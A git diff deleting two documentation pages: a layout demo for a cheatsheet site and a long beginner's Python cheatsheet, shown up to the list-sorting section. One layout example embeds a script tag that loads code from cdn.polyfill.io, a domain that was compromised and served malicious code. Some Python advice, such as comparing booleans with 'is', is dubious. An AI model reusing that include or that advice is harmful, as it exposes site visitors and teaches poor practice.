-This is a section with `{: .-prime}`. Notice the fancy highlight! Great for "getting started" kind of snippets.
-
-### H3 section
-
-Every box is an H3 section. The box will encompass everything inside the body of the H3.
-
-This is a basic section with paragraphs in it.
-
-## Code
-
-{: .-three-column}
-
-### Basic code
-
-```js
-here.is(() => {
-    some.code();
-});
-```
-
-```js
-here.is.some.more();
-```
-
-Code blocks can be placed one after the other.
-
-See: [Cheatsheets](/)
-
-### Code with headings
-
-#### index.js
-
-{: .-file}
-
-```js
-here.is(() => {
-    some.code();
-});
-```
-
-#### other.js
-
-{: .-file}
-
-```js
-here.is.some.more();
-```
-
-Code blocks can have headings.
-
-### Highlighted lines
-
-```js
-app.start(() => {
-    const port = app.server.port;
-    console.log(`Started at ${port}`);
-});
-```
-
-{: data-line="3"}
-
-Add `{: data-line="3"}` to add line highlights.
-
-### Multiple highlights
-
-```js
-app.start(() => {
-    const port = app.server.port;
-    console.log(`Started at ${port}`);
-});
-```
-
-{: data-line="2,3"}
-
-Add `{: data-line="2,3"}` to add multiple line highlights.
-
-### Setup blocks
-
-```js
-import React from 'react';
-```
-
-{: .-setup}
-
-```js
-class Hello extends React.Component {
-    render() {
-        return <span>Hello</span>;
-    }
-}
-```
-
-Add `{: .-setup}` to a `pre` or `table` or `ul`.
-
-### Long lines
-
----
-
-```js
-function createNode(nodeName: string, options: { key: string }) {
-    return true;
-}
-```
-
-Long lines will have scrollbars.
-
-### Line wrapping
-
-```js
-<script>(function(d,s){if(window.Promise&&[].includes&&Object.assign&&window.Map)return;var js,sc=d.getElementsByTagName(s)[0];js=d.createElement(s);js.src='https://cdn.polyfill.io/v2/polyfill.min.js';sc.parentNode.insertBefore(js, sc);}(document,'script'))</script>
-```
-
-{: .-wrap}
-
-Add `-wrap` to wrap long lines.
-
-## Lists
-
-{: .-three-column}
-
-### Lists
-
--   This is
--   a list
--   with a few items
-
-Here's an extra paragraph after the list.
-
-### Lists with headings
-
-#### Part 1
-
--   `createElement()`
--   `componentDidMount()`
--   `componentWillUnmount()`
-
-#### Part 2
-
--   `shouldComponentUpdate()`
--   `componentWillReceiveProps()`
-
-Here's an extra paragraph after the list.
-
-## List columns
-
-{: .-one-column}
-
-### Six columns
-
--   One
--   Two
--   Three
--   Four
--   Five
--   Six
--   Seven
--   Eight
--   Nine
--   Ten
--   Eleven
-    {: .-six-column}
-
-Add `{: .-six-column}` to make large lists.
-
-### Four columns
-
--   One
--   Two
--   Three
--   Four
--   Five
--   Six
--   Seven
--   Eight
--   Nine
--   Ten
--   Eleven
-    {: .-four-column}
-
-Add `{: .-four-column}` to make large lists.
-
-### Also see
-
--   One
--   Two
--   Three
--   Four
--   Five
--   Six
--   Seven
--   Eight
--   Nine
--   Ten
-    {: .-also-see}
-
-Add `{: .-also-see}`.
-
-## Paragraphs
-
-{: .-three-column}
-
-### Basic paragraphs
-
-This is a basic section with paragraphs in it. When paragraphs are the first elements in an H3 section's body, they appear as white.
-
-### Basic paragraphs
-
-```
-···
-```
-
-When paragraphs appear after `pre`/`table`/`ul`, they appear with a gray background.
-
-### Preludes
-
-Here's a prelude paragraph. Add `{: .-setup}` to make paragraphs appear with a gray background.
-{: .-setup}
-
-```
-···
-```
-
-### Crosslink
-
-Add `{: .-crosslink}` to make big loud external links:
-
-```
-···
-```
-
-[Home](/)
-{: .-crosslink}
-
-## Tables
-
-{: .-three-column}
-
-### Basic table
-
-#### Date
-
-|                 |
-| --------------- | ---------------------- |
-| Example         | Output                 |
-| --------------- | ---------------------- |
-| `%m/%d/%Y`      | `06/05/2013`           |
-| `%A, %B %e, %Y` | `Sunday, June 5, 2013` |
-| `%b %e %a`      | `Jun 5 Sun`            |
-
-#### Time
-
-|            |
-| ---------- | ---------- |
-| Example    | Output     |
-| ---------- | ---------- |
-| `%H:%M`    | `23:05`    |
-| `%I:%M %p` | `11:05 PM` |
-
-This is a basic table with h4's.
-
-### Shortcuts
-
-|     |
-| --- | --------- |
-| `V` | Vector    |
-| `P` | Pencil    |
-| `T` | Text      |
-| `L` | Line      |
-| `R` | Rectangle |
-| `O` | Oval      |
-| `U` | Rounded   |
-
-{: .-shortcuts}
-
-Add `{: .-shortcuts}` to tables.
-
-### With headers
-
-|        |
-| ------ | --------------------- | -------- |
-| Prefix | Example               | What     |
-| ------ | --------------------- | -------- |
-| `//`   | `//hr[@class='edge']` | Anywhere |
-| `./`   | `./a`                 | Relative |
-| `/`    | `/html/body/div`      | Root     |
-
-{: .-headers}
-
-Add `{: .-headers}` to add headers.
-
-## Two columns
-
-### One
-
-```
-···
-```
-
-### Two
-
-```
-···
-```
-
-## Left reference
-
-{: .-left-reference}
-
-### One
-
-```
-···
-···
-···
-···
-···
-···
-···
-···
-```
-
-### Two
-
-```
-···
-```
-
-### Three
-
-```
-···
-```
-
-## One column
-
-{: .-one-column}
-
-### One
-
-```
-···
-```
diff --git a/docs/content/cheat-sheets/cheatsheet-v2.md b/docs/content/cheat-sheets/cheatsheet-v2.md
deleted file mode 100644
index c9d1e711eb..0000000000
--- a/docs/content/cheat-sheets/cheatsheet-v2.md
+++ /dev/null
@@ -1,9494 +0,0 @@
-# Cheatsheet-v2
-
-### Python Cheatsheet
-
--   About
-    -   Contribute
-    -   Read It
-    -   Python Cheatsheet
-    -   The Zen of Python
-    -   Python Basics
-        -   Math Operators
-        -   Data Types
-        -   String Concatenation and Replication
-        -   Variables
-        -   Comments
-        -   The print() Function
-        -   The input() Function
-        -   The len() Function
-        -   The str(), int(), and float() Functions
-    -   Flow Control
-        -   Comparison Operators
-        -   Boolean evaluation
-        -   Boolean Operators
-        -   Mixing Boolean and Comparison Operators
-        -   if Statements
-        -   else Statements
-        -   elif Statements
-        -   while Loop Statements
-        -   break Statements
-        -   continue Statements
-        -   for Loops and the range() Function
-        -   For else statement
-        -   Importing Modules
-        -   Ending a Program Early with sys.exit()
-    -   Functions
-        -   Return Values and return Statements
-        -   The None Value
-        -   Keyword Arguments and print()
-        -   Local and Global Scope
-        -   The global Statement
-    -   Exception Handling
-        -   Basic exception handling
-        -   Final code in exception handling
-    -   Lists
-        -   Getting Individual Values in a List with Indexes
-        -   Negative Indexes
-        -   Getting Sublists with Slices
-        -   Getting a List's Length with len()
-        -   Changing Values in a List with Indexes
-        -   List Concatenation and List Replication
-        -   Removing Values from Lists with del Statements
-        -   Using for Loops with Lists
-        -   Looping Through Multiple Lists with zip()
-        -   The in and not in Operators
-        -   The Multiple Assignment Trick
-        -   Augmented Assignment Operators
-        -   Finding a Value in a List with the index() Method
-        -   Adding Values to Lists with the append() and insert() Methods
-        -   Removing Values from Lists with remove()
-        -   Removing Values from Lists with pop()
-        -   Sorting the Values in a List with the sort() Method
-        -   Tuple Data Type
-        -   Converting Types with the list() and tuple() Functions
-    -   Dictionaries and Structuring Data
-        -   The keys(), values(), and items() Methods
-        -   Checking Whether a Key or Value Exists in a Dictionary
-        -   The get() Method
-        -   The setdefault() Method
-        -   Pretty Printing
-        -   Merge two dictionaries
-    -   sets
-        -   Initializing a set
-        -   sets: unordered collections of unique elements
-        -   set add() and update()
-        -   set remove() and discard()
-        -   set union()
-        -   set intersection
-        -   set difference
-        -   set symetric_difference
-    -   itertools Module
-        -   accumulate()
-        -   combinations()
-        -   combinations_with_replacement()
-        -   count()
-        -   cycle()
-        -   chain()
-        -   compress()
-        -   dropwhile()
-        -   filterfalse()
-        -   groupby()
-        -   islice()
-        -   permutations()
-        -   product()
-        -   repeat()
-        -   starmap()
-        -   takewhile()
-        -   tee()
-        -   zip_longest()
-    -   Comprehensions
-        -   List comprehension
-        -   Set comprehension
-        -   Dict comprehension
-    -   Manipulating Strings
-        -   Escape Characters
-        -   Raw Strings
-        -   Multiline Strings with Triple Quotes
-        -   Indexing and Slicing Strings
-        -   The in and not in Operators with Strings
-        -   The in and not in Operators with list
-        -   The upper(), lower(), isupper(), and islower() String Methods
-        -   The isX String Methods
-        -   The startswith() and endswith() String Methods
-        -   The join() and split() String Methods
-        -   Justifying Text with rjust(), ljust(), and center()
-        -   Removing Whitespace with strip(), rstrip(), and lstrip()
-        -   Copying and Pasting Strings with the pyperclip Module (need pip install)
-    -   String Formatting
-        -   % operator
-        -   String Formatting (str.format)
-        -   Lazy string formatting
-        -   Formatted String Literals or f-strings (Python 3.6+)
-        -   Template Strings
-    -   Regular Expressions
-        -   Matching Regex Objects
-        -   Grouping with Parentheses
-        -   Matching Multiple Groups with the Pipe
-        -   Optional Matching with the Question Mark
-        -   Matching Zero or More with the Star
-        -   Matching One or More with the Plus
-        -   Matching Specific Repetitions with Curly Brackets
-        -   Greedy and Nongreedy Matching
-        -   The findall() Method
-        -   Making Your Own Character Classes
-        -   The Caret and Dollar Sign Characters
-        -   The Wildcard Character
-        -   Matching Everything with Dot-Star
-        -   Matching Newlines with the Dot Character
-        -   Review of Regex Symbols
-        -   Case-Insensitive Matching
-        -   Substituting Strings with the sub() Method
-        -   Managing Complex Regexes
-    -   Handling File and Directory Paths
-        -   Backslash on Windows and Forward Slash on OS X and Linux
-        -   The Current Working Directory
-        -   Creating New Folders
-        -   Absolute vs. Relative Paths
-        -   Handling Absolute and Relative Paths
-        -   Checking Path Validity
-        -   Finding File Sizes and Folder Contents
-        -   Copying Files and Folders
-        -   Moving and Renaming Files and Folders
-        -   Permanently Deleting Files and Folders
-        -   Safe Deletes with the send2trash Module
-        -   Walking a Directory Tree
-    -   Reading and Writing Files
-        -   The File Reading/Writing Process
-        -   Opening and reading files with the open() function
-        -   Writing to Files
-        -   Saving Variables with the shelve Module
-        -   Saving Variables with the pprint.pformat() Function
-        -   Reading ZIP Files
-        -   Extracting from ZIP Files
-        -   Creating and Adding to ZIP Files
-    -   JSON, YAML and configuration files
-        -   JSON
-        -   YAML
-        -   Anyconfig
-    -   Debugging
-        -   Raising Exceptions
-        -   Getting the Traceback as a String
-        -   Assertions
-        -   Logging
-        -   Logging Levels
-        -   Disabling Logging
-        -   Logging to a File
-    -   Lambda Functions
-    -   Ternary Conditional Operator
-    -   args and kwargs
-        -   Things to Remember(args)
-        -   Things to Remember(kwargs)
-    -   Context Manager
-        -   with statement
-        -   Writing your own contextmanager using generator syntax
-    -   `__main__` Top-level script environment
-        -   Advantages
-    -   setup.py
-    -   Dataclasses
-        -   Features
-        -   Default values
-        -   Type hints
-    -   Virtual Environment
-        -   virtualenv
-        -   poetry
-        -   pipenv
-        -   anaconda
-
-### The Zen of Python
-
-From the [PEP 20 -- The Zen of Python](https://www.python.org/dev/peps/pep-0020/):
-
-> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Python's design into 20 aphorisms, only 19 of which have been written down.
-
-```python
->>> import this
-The Zen of Python, by Tim Peters
-
-Beautiful is better than ugly.
-Explicit is better than implicit.
-Simple is better than complex.
-Complex is better than complicated.
-Flat is better than nested.
-Sparse is better than dense.
-Readability counts.
-Special cases aren't special enough to break the rules.
-Although practicality beats purity.
-Errors should never pass silently.
-Unless explicitly silenced.
-In the face of ambiguity, refuse the temptation to guess.
-There should be one-- and preferably only one --obvious way to do it.
-Although that way may not be obvious at first unless you're Dutch.
-Now is better than never.
-Although never is often better than *right* now.
-If the implementation is hard to explain, it's a bad idea.
-If the implementation is easy to explain, it may be a good idea.
-Namespaces are one honking great idea -- let's do more of those!
-```
-
-_Return to the Top_
-
-### Python Basics
-
-#### Math Operators
-
-From **Highest** to **Lowest** precedence:
-
-| Operators | Operation         | Example         |
-| --------- | ----------------- | --------------- |
-| \*\*      | Exponent          | `2 ** 3 = 8`    |
-| %         | Modulus/Remainder | `22 % 8 = 6`    |
-| //        | Integer division  | `22 // 8 = 2`   |
-| /         | Division          | `22 / 8 = 2.75` |
-| \*        | Multiplication    | `3 * 3 = 9`     |
-| -         | Subtraction       | `5 - 2 = 3`     |
-| +         | Addition          | `2 + 2 = 4`     |
-
-Examples of expressions in the interactive shell:
-
-```python
->>> 2 + 3 * 6
-20
-```
-
-```python
->>> (2 + 3) * 6
-30
-```
-
-```python
->>> 2 ** 8
-256
-```
-
-```python
->>> 23 // 7
-3
-```
-
-```python
->>> 23 % 7
-2
-```
-
-```python
->>> (5 - 1) * ((7 + 1) / (3 - 1))
-16.0
-```
-
-_Return to the Top_
-
-#### Data Types
-
-| Data Type              | Examples                                  |
-| ---------------------- | ----------------------------------------- |
-| Integers               | `-2, -1, 0, 1, 2, 3, 4, 5`                |
-| Floating-point numbers | `-1.25, -1.0, --0.5, 0.0, 0.5, 1.0, 1.25` |
-| Strings                | `'a', 'aa', 'aaa', 'Hello!', '11 cats'`   |
-
-_Return to the Top_
-
-#### String Concatenation and Replication
-
-String concatenation:
-
-```python
->>> 'Alice' 'Bob'
-'AliceBob'
-```
-
-Note: Avoid `+` operator for string concatenation. Prefer string formatting.
-
-String Replication:
-
-```python
->>> 'Alice' * 5
-'AliceAliceAliceAliceAlice'
-```
-
-_Return to the Top_
-
-#### Variables
-
-You can name a variable anything as long as it obeys the following rules:
-
-1. It can be only one word.
-2. It can use only letters, numbers, and the underscore (`_`) character.
-3. It can't begin with a number.
-4. Variable name starting with an underscore (`_`) are considered as "unuseful\`.
-
-Example:
-
-```python
->>> spam = 'Hello'
->>> spam
-'Hello'
-```
-
-```python
->>> _spam = 'Hello'
-```
-
-`_spam` should not be used again in the code.
-
-_Return to the Top_
-
-#### Comments
-
-Inline comment:
-
-```python
-# This is a comment
-```
-
-Multiline comment:
-
-```python
-# This is a
-# multiline comment
-```
-
-Code with a comment:
-
-```python
-a = 1  # initialization
-```
-
-Please note the two spaces in front of the comment.
-
-Function docstring:
-
-```python
-def foo():
-    """
-    This is a function docstring
-    You can also use:
-    ''' Function Docstring '''
-    """
-```
-
-_Return to the Top_
-
-#### The print() Function
-
-```python
->>> print('Hello world!')
-Hello world!
-```
-
-```python
->>> a = 1
->>> print('Hello world!', a)
-Hello world! 1
-```
-
-_Return to the Top_
-
-#### The input() Function
-
-Example Code:
-
-```python
->>> print('What is your name?')   # ask for their name
->>> myName = input()
->>> print('It is good to meet you, {}'.format(myName))
-What is your name?
-Al
-It is good to meet you, Al
-```
-
-_Return to the Top_
-
-#### The len() Function
-
-Evaluates to the integer value of the number of characters in a string:
-
-```python
->>> len('hello')
-5
-```
-
-Note: test of emptiness of strings, lists, dictionary, etc, should **not** use len, but prefer direct boolean evaluation.
-
-```python
->>> a = [1, 2, 3]
->>> if a:
->>>     print("the list is not empty!")
-```
-
-_Return to the Top_
-
-#### The str(), int(), and float() Functions
-
-Integer to String or Float:
-
-```python
->>> str(29)
-'29'
-```
-
-```python
->>> print('I am {} years old.'.format(str(29)))
-I am 29 years old.
-```
-
-```python
->>> str(-3.14)
-'-3.14'
-```
-
-Float to Integer:
-
-```python
->>> int(7.7)
-7
-```
-
-```python
->>> int(7.7) + 1
-8
-```
-
-_Return to the Top_
-
-### Flow Control
-
-#### Comparison Operators
-
-| Operator | Meaning                  |
-| -------- | ------------------------ |
-| `==`     | Equal to                 |
-| `!=`     | Not equal to             |
-| `<`      | Less than                |
-| `>`      | Greater Than             |
-| `<=`     | Less than or Equal to    |
-| `>=`     | Greater than or Equal to |
-
-These operators evaluate to True or False depending on the values you give them.
-
-Examples:
-
-```python
->>> 42 == 42
-True
-```
-
-```python
->>> 40 == 42
-False
-```
-
-```python
->>> 'hello' == 'hello'
-True
-```
-
-```python
->>> 'hello' == 'Hello'
-False
-```
-
-```python
->>> 'dog' != 'cat'
-True
-```
-
-```python
->>> 42 == 42.0
-True
-```
-
-```python
->>> 42 == '42'
-False
-```
-
-#### Boolean evaluation
-
-Never use `==` or `!=` operator to evaluate boolean operation. Use the `is` or `is not` operators, or use implicit boolean evaluation.
-
-NO (even if they are valid Python):
-
-```python
->>> True == True
-True
-```
-
-```python
->>> True != False
-True
-```
-
-YES (even if they are valid Python):
-
-```python
->>> True is True
-True
-```
-
-```python
->>> True is not False
-True
-```
-
-These statements are equivalent:
-
-```python
->>> if a is True:
->>>    pass
->>> if a is not False:
->>>    pass
->>> if a:
->>>    pass
-```
-
-And these as well:
-
-```python
->>> if a is False:
->>>    pass
->>> if a is not True:
->>>    pass
->>> if not a:
->>>    pass
-```
-
-_Return to the Top_
-
-#### Boolean Operators
-
-There are three Boolean operators: and, or, and not.
-
-The _and_ Operator's _Truth_ Table:
-
-| Expression        | Evaluates to |
-| ----------------- | ------------ |
-| `True and True`   | `True`       |
-| `True and False`  | `False`      |
-| `False and True`  | `False`      |
-| `False and False` | `False`      |
-
-The _or_ Operator's _Truth_ Table:
-
-| Expression       | Evaluates to |
-| ---------------- | ------------ |
-| `True or True`   | `True`       |
-| `True or False`  | `True`       |
-| `False or True`  | `True`       |
-| `False or False` | `False`      |
-
-The _not_ Operator's _Truth_ Table:
-
-| Expression  | Evaluates to |
-| ----------- | ------------ |
-| `not True`  | `False`      |
-| `not False` | `True`       |
-
-_Return to the Top_
-
-#### Mixing Boolean and Comparison Operators
-
-```python
->>> (4 < 5) and (5 < 6)
-True
-```
-
-```python
->>> (4 < 5) and (9 < 6)
-False
-```
-
-```python
->>> (1 == 2) or (2 == 2)
-True
-```
-
-You can also use multiple Boolean operators in an expression, along with the comparison operators:
-
-```python
->>> 2 + 2 == 4 and not 2 + 2 == 5 and 2 * 2 == 2 + 2
-True
-```
-
-_Return to the Top_
-
-#### if Statements
-
-```python
-if name == 'Alice':
-    print('Hi, Alice.')
-```
-
-_Return to the Top_
-
-#### else Statements
-
-```python
-name = 'Bob'
-if name == 'Alice':
-    print('Hi, Alice.')
-else:
-    print('Hello, stranger.')
-```
-
-_Return to the Top_
-
-#### elif Statements
-
-```python
-name = 'Bob'
-age = 5
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-```
-
-```python
-name = 'Bob'
-age = 30
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-else:
-    print('You are neither Alice nor a little kid.')
-```
-
-_Return to the Top_
-
-#### while Loop Statements
-
-```python
-spam = 0
-while spam < 5:
-    print('Hello, world.')
-    spam = spam + 1
-```
-
-_Return to the Top_
-
-#### break Statements
-
-If the execution reaches a break statement, it immediately exits the while loop's clause:
-
-```python
-while True:
-    print('Please type your name.')
-    name = input()
-    if name == 'your name':
-        break
-print('Thank you!')
-```
-
-_Return to the Top_
-
-#### continue Statements
-
-When the program execution reaches a continue statement, the program execution immediately jumps back to the start of the loop.
-
-```python
-while True:
-    print('Who are you?')
-    name = input()
-    if name != 'Joe':
-        continue
-    print('Hello, Joe. What is the password? (It is a fish.)')
-    password = input()
-    if password == 'swordfish':
-        break
-print('Access granted.')
-```
-
-_Return to the Top_
-
-#### for Loops and the range() Function
-
-```python
->>> print('My name is')
->>> for i in range(5):
->>>     print('Jimmy Five Times ({})'.format(str(i)))
-My name is
-Jimmy Five Times (0)
-Jimmy Five Times (1)
-Jimmy Five Times (2)
-Jimmy Five Times (3)
-Jimmy Five Times (4)
-```
-
-The _range()_ function can also be called with three arguments. The first two arguments will be the start and stop values, and the third will be the step argument. The step is the amount that the variable is increased by after each iteration.
-
-```python
->>> for i in range(0, 10, 2):
->>>    print(i)
-0
-2
-4
-6
-8
-```
-
-You can even use a negative number for the step argument to make the for loop count down instead of up.
-
-```python
->>> for i in range(5, -1, -1):
->>>     print(i)
-5
-4
-3
-2
-1
-0
-```
-
-#### For else statement
-
-This allows to specify a statement to execute in case of the full loop has been executed. Only useful when a `break` condition can occur in the loop:
-
-```python
->>> for i in [1, 2, 3, 4, 5]:
->>>    if i == 3:
->>>        break
->>> else:
->>>    print("only executed when no item of the list is equal to 3")
-```
-
-_Return to the Top_
-
-#### Importing Modules
-
-```python
-import random
-for i in range(5):
-    print(random.randint(1, 10))
-```
-
-```python
-import random, sys, os, math
-```
-
-```python
-from random import *
-```
-
-_Return to the Top_
-
-#### Ending a Program Early with sys.exit()
-
-```python
-import sys
-
-while True:
-    print('Type exit to exit.')
-    response = input()
-    if response == 'exit':
-        sys.exit()
-    print('You typed {}.'.format(response))
-```
-
-_Return to the Top_
-
-### Functions
-
-```python
->>> def hello(name):
->>>     print('Hello {}'.format(name))
->>>
->>> hello('Alice')
->>> hello('Bob')
-Hello Alice
-Hello Bob
-```
-
-_Return to the Top_
-
-#### Return Values and return Statements
-
-When creating a function using the def statement, you can specify what the return value should be with a return statement. A return statement consists of the following:
-
--   The return keyword.
--   The value or expression that the function should return.
-
-```python
-import random
-def getAnswer(answerNumber):
-    if answerNumber == 1:
-        return 'It is certain'
-    elif answerNumber == 2:
-        return 'It is decidedly so'
-    elif answerNumber == 3:
-        return 'Yes'
-    elif answerNumber == 4:
-        return 'Reply hazy try again'
-    elif answerNumber == 5:
-        return 'Ask again later'
-    elif answerNumber == 6:
-        return 'Concentrate and ask again'
-    elif answerNumber == 7:
-        return 'My reply is no'
-    elif answerNumber == 8:
-        return 'Outlook not so good'
-    elif answerNumber == 9:
-        return 'Very doubtful'
-
-r = random.randint(1, 9)
-fortune = getAnswer(r)
-print(fortune)
-```
-
-_Return to the Top_
-
-#### The None Value
-
-```python
->>> spam = print('Hello!')
-Hello!
-```
-
-```python
->>> spam is None
-True
-```
-
-Note: never compare to `None` with the `==` operator. Always use `is`.
-
-_Return to the Top_
-
-#### Keyword Arguments and print()
-
-```python
->>> print('Hello', end='')
->>> print('World')
-HelloWorld
-```
-
-```python
->>> print('cats', 'dogs', 'mice')
-cats dogs mice
-```
-
-```python
->>> print('cats', 'dogs', 'mice', sep=',')
-cats,dogs,mice
-```
-
-_Return to the Top_
-
-#### Local and Global Scope
-
--   Code in the global scope cannot use any local variables.
--   However, a local scope can access global variables.
--   Code in a function's local scope cannot use variables in any other local scope.
--   You can use the same name for different variables if they are in different scopes. That is, there can be a local variable named spam and a global variable also named spam.
-
-_Return to the Top_
-
-#### The global Statement
-
-If you need to modify a global variable from within a function, use the global statement:
-
-```python
->>> def spam():
->>>     global eggs
->>>     eggs = 'spam'
->>>
->>> eggs = 'global'
->>> spam()
->>> print(eggs)
-spam
-```
-
-There are four rules to tell whether a variable is in a local scope or global scope:
-
-1. If a variable is being used in the global scope (that is, outside of all functions), then it is always a global variable.
-2. If there is a global statement for that variable in a function, it is a global variable.
-3. Otherwise, if the variable is used in an assignment statement in the function, it is a local variable.
-4. But if the variable is not used in an assignment statement, it is a global variable.
-
-_Return to the Top_
-
-### Exception Handling
-
-#### Basic exception handling
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>
->>> print(spam(2))
->>> print(spam(12))
->>> print(spam(0))
->>> print(spam(1))
-21.0
-3.5
-Error: Invalid argument: division by zero
-None
-42.0
-```
-
-_Return to the Top_
-
-#### Final code in exception handling
-
-Code inside the `finally` section is always executed, no matter if an exception has been raised or not, and even if an exception is not caught.
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>     finally:
->>>         print("-- division finished --")
->>> print(spam(2))
--- division finished --
-21.0
->>> print(spam(12))
--- division finished --
-3.5
->>> print(spam(0))
-Error: Invalid Argument division by zero
--- division finished --
-None
->>> print(spam(1))
--- division finished --
-42.0
-```
-
-_Return to the Top_
-
-### Lists
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-#### Getting Individual Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0]
-'cat'
-```
-
-```python
->>> spam[1]
-'bat'
-```
-
-```python
->>> spam[2]
-'rat'
-```
-
-```python
->>> spam[3]
-'elephant'
-```
-
-_Return to the Top_
-
-#### Negative Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[-1]
-'elephant'
-```
-
-```python
->>> spam[-3]
-'bat'
-```
-
-```python
->>> 'The {} is afraid of the {}.'.format(spam[-1], spam[-3])
-'The elephant is afraid of the bat.'
-```
-
-_Return to the Top_
-
-#### Getting Sublists with Slices
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0:4]
-['cat', 'bat', 'rat', 'elephant']
-```
-
-```python
->>> spam[1:3]
-['bat', 'rat']
-```
-
-```python
->>> spam[0:-1]
-['cat', 'bat', 'rat']
-```
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[:2]
-['cat', 'bat']
-```
-
-```python
->>> spam[1:]
-['bat', 'rat', 'elephant']
-```
-
-Slicing the complete list will perform a copy:
-
-```python
->>> spam2 = spam[:]
-['cat', 'bat', 'rat', 'elephant']
->>> spam.append('dog')
->>> spam
-['cat', 'bat', 'rat', 'elephant', 'dog']
->>> spam2
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-#### Getting a List's Length with len()
-
-```python
->>> spam = ['cat', 'dog', 'moose']
->>> len(spam)
-3
-```
-
-_Return to the Top_
-
-#### Changing Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[1] = 'aardvark'
-
->>> spam
-['cat', 'aardvark', 'rat', 'elephant']
-
->>> spam[2] = spam[1]
-
->>> spam
-['cat', 'aardvark', 'aardvark', 'elephant']
-
->>> spam[-1] = 12345
-
->>> spam
-['cat', 'aardvark', 'aardvark', 12345]
-```
-
-_Return to the Top_
-
-#### List Concatenation and List Replication
-
-```python
->>> [1, 2, 3] + ['A', 'B', 'C']
-[1, 2, 3, 'A', 'B', 'C']
-
->>> ['X', 'Y', 'Z'] * 3
-['X', 'Y', 'Z', 'X', 'Y', 'Z', 'X', 'Y', 'Z']
-
->>> spam = [1, 2, 3]
-
->>> spam = spam + ['A', 'B', 'C']
-
->>> spam
-[1, 2, 3, 'A', 'B', 'C']
-```
-
-_Return to the Top_
-
-#### Removing Values from Lists with del Statements
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> del spam[2]
->>> spam
-['cat', 'bat', 'elephant']
-```
-
-```python
->>> del spam[2]
->>> spam
-['cat', 'bat']
-```
-
-_Return to the Top_
-
-#### Using for Loops with Lists
-
-```python
->>> supplies = ['pens', 'staplers', 'flame-throwers', 'binders']
->>> for i, supply in enumerate(supplies):
->>>     print('Index {} in supplies is: {}'.format(str(i), supply))
-Index 0 in supplies is: pens
-Index 1 in supplies is: staplers
-Index 2 in supplies is: flame-throwers
-Index 3 in supplies is: binders
-```
-
-_Return to the Top_
-
-#### Looping Through Multiple Lists with zip()
-
-```python
->>> name = ['Pete', 'John', 'Elizabeth']
->>> age = [6, 23, 44]
->>> for n, a in zip(name, age):
->>>     print('{} is {} years old'.format(n, a))
-Pete is 6 years old
-John is 23 years old
-Elizabeth is 44 years old
-```
-
-#### The in and not in Operators
-
-```python
->>> 'howdy' in ['hello', 'hi', 'howdy', 'heyas']
-True
-```
-
-```python
->>> spam = ['hello', 'hi', 'howdy', 'heyas']
->>> 'cat' in spam
-False
-```
-
-```python
->>> 'howdy' not in spam
-False
-```
-
-```python
->>> 'cat' not in spam
-True
-```
-
-_Return to the Top_
-
-#### The Multiple Assignment Trick
-
-The multiple assignment trick is a shortcut that lets you assign multiple variables with the values in a list in one line of code. So instead of doing this:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size = cat[0]
-
->>> color = cat[1]
-
->>> disposition = cat[2]
-```
-
-You could type this line of code:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size, color, disposition = cat
-```
-
-The multiple assignment trick can also be used to swap the values in two variables:
-
-```python
->>> a, b = 'Alice', 'Bob'
->>> a, b = b, a
->>> print(a)
-'Bob'
-```
-
-```python
->>> print(b)
-'Alice'
-```
-
-_Return to the Top_
-
-#### Augmented Assignment Operators
-
-| Operator    | Equivalent        |
-| ----------- | ----------------- |
-| `spam += 1` | `spam = spam + 1` |
-| `spam -= 1` | `spam = spam - 1` |
-| `spam *= 1` | `spam = spam * 1` |
-| `spam /= 1` | `spam = spam / 1` |
-| `spam %= 1` | `spam = spam % 1` |
-
-Examples:
-
-```python
->>> spam = 'Hello'
->>> spam += ' world!'
->>> spam
-'Hello world!'
-
->>> bacon = ['Zophie']
->>> bacon *= 3
->>> bacon
-['Zophie', 'Zophie', 'Zophie']
-```
-
-_Return to the Top_
-
-#### Finding a Value in a List with the index() Method
-
-```python
->>> spam = ['Zophie', 'Pooka', 'Fat-tail', 'Pooka']
-
->>> spam.index('Pooka')
-1
-```
-
-_Return to the Top_
-
-#### Adding Values to Lists with the append() and insert() Methods
-
-**append()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.append('moose')
-
->>> spam
-['cat', 'dog', 'bat', 'moose']
-```
-
-**insert()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.insert(1, 'chicken')
-
->>> spam
-['cat', 'chicken', 'dog', 'bat']
-```
-
-_Return to the Top_
-
-#### Removing Values from Lists with remove()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.remove('bat')
-
->>> spam
-['cat', 'rat', 'elephant']
-```
-
-If the value appears multiple times in the list, only the first instance of the value will be removed.
-
-_Return to the Top_
-
-#### Removing Values from Lists with pop()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.pop()
-'elephant'
-
->>> spam
-['cat', 'bat', 'rat']
-
->>> spam.pop(0)
-'cat'
-
->>> spam
-['bat', 'rat']
-```
-
-_Return to the Top_
-
-#### Sorting the Values in a List with the sort() Method
-
-```python
->>> spam = [2, 5, 3.14, 1, -7]
->>> spam.sort()
->>> spam
